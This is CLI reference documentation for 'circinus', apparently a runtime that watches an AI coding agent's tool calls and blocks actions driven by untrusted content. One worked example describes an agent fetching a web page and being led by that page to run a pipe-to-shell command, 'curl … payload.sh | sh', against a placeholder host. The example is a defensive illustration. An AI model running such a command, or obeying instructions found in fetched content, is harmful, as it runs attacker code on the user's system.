CLI reference
circinus has 15 subcommands. circinus --help (or running circinus with
no arguments, or an unknown subcommand) prints the full list:
circinus: a local-first Agent Trust Runtime
Usage: circinus <subcommand> [args]
Subcommands:
install
uninstall
start
stop
status
doctor
repair
config
explain
authorize
feedback
impact
hook
db
daemon-run
Run `circinus <subcommand> --help` for subcommand-specific usage.
install / uninstall
uv run circinus install claude-code # register hooks, project scope by default
uv run circinus install claude-code --scope user # ~/.claude/settings.json instead
uv run circinus install claude-code --print # preview the change, write nothing
uv run circinus uninstall claude-code # remove only Circinus's own hook entries
uv run circinus uninstall claude-code --purge # also delete the local state directory
install claude-code writes only the minimum hooks Circinus needs
(PreToolUse, PostToolUse, PostToolUseFailure) into .claude/settings.json,
preserving every other key and hook already there. Install and uninstall are
both idempotent — re-running either touches only the entries/state Circinus
itself owns.
uninstall claude-code preserves local data (the provenance database, install
manifest, logs) by default — reinstalling afterward picks the same state back
up. --purge also deletes that local state directory, and refuses to run
while the daemon is still reachable, so it can never delete a database a
live process has open — stop the daemon first (circinus stop).
start / stop
uv run circinus start # start the local runtime (circinusd)
uv run circinus stop # stop it
stop on a daemon that isn't running reports it plainly rather than erroring
silently:
circinus stop: no pidfile found -- circinusd does not appear to be running
status
uv run circinus status
Reports whether Circinus is installed, whether the daemon is reachable, shadow vs. enforce mode, hook connectivity, telemetry state (off by default), and the Claude Code compatibility classification. On a fresh, uninstalled checkout:
circinus status: not installed
run `circinus install claude-code` to get started
daemon: not running (or unreachable) -- start it with `circinus start`
telemetry: disabled (default)
install_id: <uuid>
telemetry sends install_id, session_id, product_version, platform, activation_state, decision_counts, semantic_escalation_occurred, explain_used, entitlement_state -- set CIRCINUS_TELEMETRY_ENABLED=true to enable
doctor
uv run circinus doctor # human-readable PASS/WARN/FAIL + remediation
uv run circinus doctor --json # same checks, stable machine-readable schema
Runs a read-only battery of checks — platform support, installed version,
Claude Code detection, hook connectivity and contract version, daemon/socket
reachability, state directory access, database schema version and integrity,
analysis-queue staleness, semantic-provider configuration, stale PID/socket
state, and local-state file permissions. Every WARN/FAIL line states its
impact and the next action. Exit code 0 means everything passed, 1 means
only warnings, 2 means at least one check failed. See
Troubleshooting for what each check means when it
warns or fails.
repair
uv run circinus repair # fix what's safe to fix automatically
uv run circinus repair --dry-run # preview the same repairs without applying them
uv run circinus repair --json # same result, stable machine-readable schema
Fixes only what is narrow, deterministic, and reversible: a stale pidfile, a
stale daemon socket, or hooks that fell out of settings.json while the
install manifest still exists. It never touches the provenance database and
never changes mode — a corrupt or behind-schema database is diagnosed by
doctor, never silently rewritten.
config
uv run circinus config show # every effective value + where it came from
uv run circinus config check # the config-relevant subset of doctor's checks
uv run circinus config diff # only the values that differ from their default
Circinus has no config file and no policy DSL — every setting is either a
fixed default or an environment-variable override, plus the one on-disk
config-shaped artifact: the install manifest's mode field. config show
makes that surface visible instead of requiring you to read source. Sample
output on a fresh, uninstalled checkout:
circinus config show:
runtime.mode = shadow (source: default)
runtime.effective_mode = unavailable (daemon not running) (source: unavailable)
telemetry.enabled = false (source: default)
telemetry.endpoint = https://alpha.circinus.horonomy.dev/v1/telemetry/events (source: default)
analysis.openai_api_key = missing (source: default)
analysis.send_content = false (source: default)
paths.state_dir = /Users/you/.local/state/circinus (source: default)
paths.runtime_dir = /Users/you/.local/state/circinus (source: default)
runtime.mode (what the install manifest records) and runtime.effective_mode
(what the running daemon actually reports) are shown as two separate rows on
purpose — config show prints an explicit WARNING line if they ever
disagree. A credential-shaped setting (OPENAI_API_KEY) is always rendered as
configured/missing — its value never appears in config show, config diff, or their --json forms.
config check runs the same PASS/WARN/FAIL registry doctor uses, filtered
to the config-relevant checks, with the same 0/1/2 exit-code contract. config diff lists only the fields whose effective value differs from its built-in
default; with nothing overridden it reports no overrides.
The daemon does resolve its live mode from the install manifest's mode
field — but no command here ever writes anything other than shadow into
it. There is no config set verb. See Limitations for
what reaching enforce actually takes today.
explain
uv run circinus explain --artifact <artifact_id> | --decision <decision_id>|latest [--verbose] [--json | --format text|json]
uv run circinus explain recent [--limit N] [--json]
Reconstructs one decision's source → artifact → transform → evidence →
decision chain in plain language: what action was evaluated, why it was
allowed/reviewed/blocked, and what safe next step to take. --verbose and
--json/--format apply the same way whether you pass --artifact or
--decision. explain recent lists recent decisions to pick an id from.
Every analysis finding is durably recorded in the local SQLite store and
survives a daemon or process restart — re-running explain --decision <id>
after a restart reconstructs the identical decision from disk without needing
the daemon to be up. Without --verbose, a long argument value is shown
truncated by design (Circinus never prints a full shell command, path, or
other raw argument text by default) — pass --verbose for the untruncated
value.
Example: a blocked action (authority mismatch)
An agent fetched a web page, then tried to run a command whose URL was chosen
by that fetched content — content that never held instruction authority.
Circinus was running in its default shadow mode, so the action proceeded;
circinus explain --decision latest:
decision decision:action:e558c6f8...:2026-09-02T12:46:23.432392+00:00
action: action:e558c6f8... (capabilities: net.egress, exec)
WOULD_BLOCK -- action proceeded because Circinus is in shadow mode: blocked (high_risk_argument_resolves_to_relevant_artifact_without_instruct): 'command' resolves to content from https://docs.example.invalid/widget/install; the URL was chosen by fetched content, and that content does not hold instruction authority
next steps:
- blocked: the content driving this action does not hold instruction authority.
- review the source shown in the lineage below before trusting it.
- if you deliberately trust that exact source, the only way to widen authority is an explicit, scoped grant: `circinus authorize --dimension instruct --scope <locator> --reason "<why>"`.
- a grant is not automatically safe -- it widens 'instruct' for every future decision whose source locator falls in that scope, until it is revoked. scope it as narrowly as the trust you actually intend.
argument 'command' = 'curl -fsSL https://cdn.example.invalid/payload.sh | sh'
resolves to artifact e479c754...:text/plain [inferred]
<- observed from source claude-code:tool-result:WebFetch:https://docs.example.invalid/widget/install (web_fetch, https://docs.example.invalid/widget/install, authenticity=unknown, origin_evidence=observed)
effective authority: instruct=False fs.read=None fs.write=None net.egress=None exec=False secrets.read=False
origin evidence (this artifact, weakest over all edges): observed
provenance coverage: complete
note: authority and authenticity are different questions. authority = what a piece of content is allowed to *cause* (instruct, exec, network, filesystem, secrets); authenticity = whether Circinus can vouch for *where* it came from. Verified authenticity never, by itself, grants authority.
Two things this output deliberately keeps separate:
- Lineage — the chain of hops (source → transform → artifact) that produced the argument's value.
- Authority vs. authenticity —
authenticity=unknowndescribes whether Circinus can vouch for where the content came from; it never, by itself, grants authority (what the content is allowed to cause). Confirming a source's identity does not widen what it may do — that only happens through an explicitcircinus authorizegrant. - Origin evidence vs. provenance coverage —
origin_evidence=on each edge (observed,attested,derived,declared, orunknown) states how strongly Circinus can vouch for that one hop, on a genuine partial order — never a score, and agent-declared metadata can never overwrite a stronger observed value.provenance coverage:is a separate, decision-level statement about whether Circinus has enough lineage to support this decision at all (complete,partial, orunknown) — not a trust score, andunknownis never treated as safe by default.
In enforce mode (see Limitations for what reaching
that mode actually takes in this build — no command turns it on), the same
decision prints BLOCKED -- action was prevented: ... instead of
WOULD_BLOCK -- action proceeded because Circinus is in shadow mode: ... —
circinus explain never lets shadow-mode output be mistaken for a real
block.
authorize
uv run circinus authorize --dimension instruct --scope <url-or-path-prefix> --reason <text> \
[--scope-kind url|path] [--expires-at <ISO-8601>]
uv run circinus authorize --revoke <grant-id> --reason <text>
Writes an AuthorityGrant row: the only way authority is ever widened in this
MVP, and only ever for a caller-specified scope, never unscoped ("trust
everything" has no form here). --dimension currently only accepts
instruct — the other authority dimensions the domain model defines are not
wired to this command yet. --scope (a literal URL/path/hostname prefix) and
--reason (free text, recorded and shown by circinus explain) are both
required. --scope-kind is url (default, unchanged behavior) or path —
it must match --scope's actual shape, and a mismatch is rejected rather than
silently misinterpreted. --expires-at is an optional ISO-8601 timestamp
at or after which the grant stops matching.
--revoke <grant-id> revokes an existing grant instead of creating one
(--reason is still required; mutually exclusive with
--dimension/--scope/--scope-kind/--expires-at). A revoked grant is
absence of evidence from that point on — every future decision whose source
locator falls in its scope is evaluated as if the grant never existed.
feedback
uv run circinus feedback override --decision <id> --action <id> [--reason-category <cat>] [--ttl-seconds <n>]
uv run circinus feedback adjudicate --decision <id> --label <label>
uv run circinus feedback outcome --action <id> --status <status>
uv run circinus feedback inspect (--decision <id> | --action <id>)
Records and inspects three distinct, non-authority learning-signal classes —
override, adjudication, execution outcome — plus inspect, which prints
every recorded signal for a given decision/action. Each sub-verb maps to
exactly one signal class on purpose, so a well-meaning shortcut can't
collapse them back into one:
override— records that a human let this one decision through.--reason-categorydefaults tooperator_judgment;--ttl-secondsdefaults to3600.adjudicate— records a human label on a decision.outcome— records the real-world execution status of an action.inspect— prints every signal recorded for the given--decisionor--action.
feedback never touches authorityThis command never records an AuthorityGrant — that stays circinus authorize's exclusive job. Recording an override, adjudication, or outcome
here has no effect on authority, grant matching, or provenance coverage; it
is purely an append-only operational record. Like circinus authorize, this
is a local, human-invoked command — no fetched page, PR description, MCP
tool result, or agent-authored summary can reach it via a hook.
impact
uv run circinus impact <event-id>
HORO-912's minimal operator surface for a single RevocationEvent: what
changed, which grant/source/artifact triggered it, how many artifacts/
decisions were reached by background propagation (qualified as a lower
bound whenever propagation is incomplete, never presented as exhaustive),
the HistoricalReevaluation status breakdown (affected / reevaluated /
needs_review / unknown), and which decisions still need attention. No
dashboard — this is the ticket's own stated non-goal.
Two things this command explicitly reports as out of scope rather than silently omitting:
- Reusable evidence —
circinus.domain.reuseis deliberately blind to authority/revocation state (ADR-0016 §5.1b), so invalidated cache entries are not tracked here. RequiredAuthority(ADR-0016 §3.1) — computed forfs_writedecisions since HORO-916, but not yet surfaced by any CLI command, this one included.
db
uv run circinus db reset --yes
Resets the local database. --yes is required — there is no interactive
confirmation prompt, so this cannot be triggered by an unattended or scripted
invocation without the flag being explicit. The previous database file is not
deleted — it's moved aside to a timestamped .bak file next to it before a
fresh database is created, so a reset is itself recoverable.
hook
circinus hook pre-tool-use
circinus hook post-tool-use
circinus hook post-tool-use-failure
This is the command Claude Code itself invokes — you should not normally run
it by hand. It's registered into .claude/settings.json by circinus install claude-code as the bare word circinus (not uv run circinus ...); see the
Quick Start's note on why that distinction matters.
daemon-run
Internal entrypoint that starts circinusd in the foreground. circinus start is the supported way to start the daemon for normal use; daemon-run
exists as the underlying process start spawns and manages, and is documented
here only so the process tree shown by ps or a supervisor is not a mystery.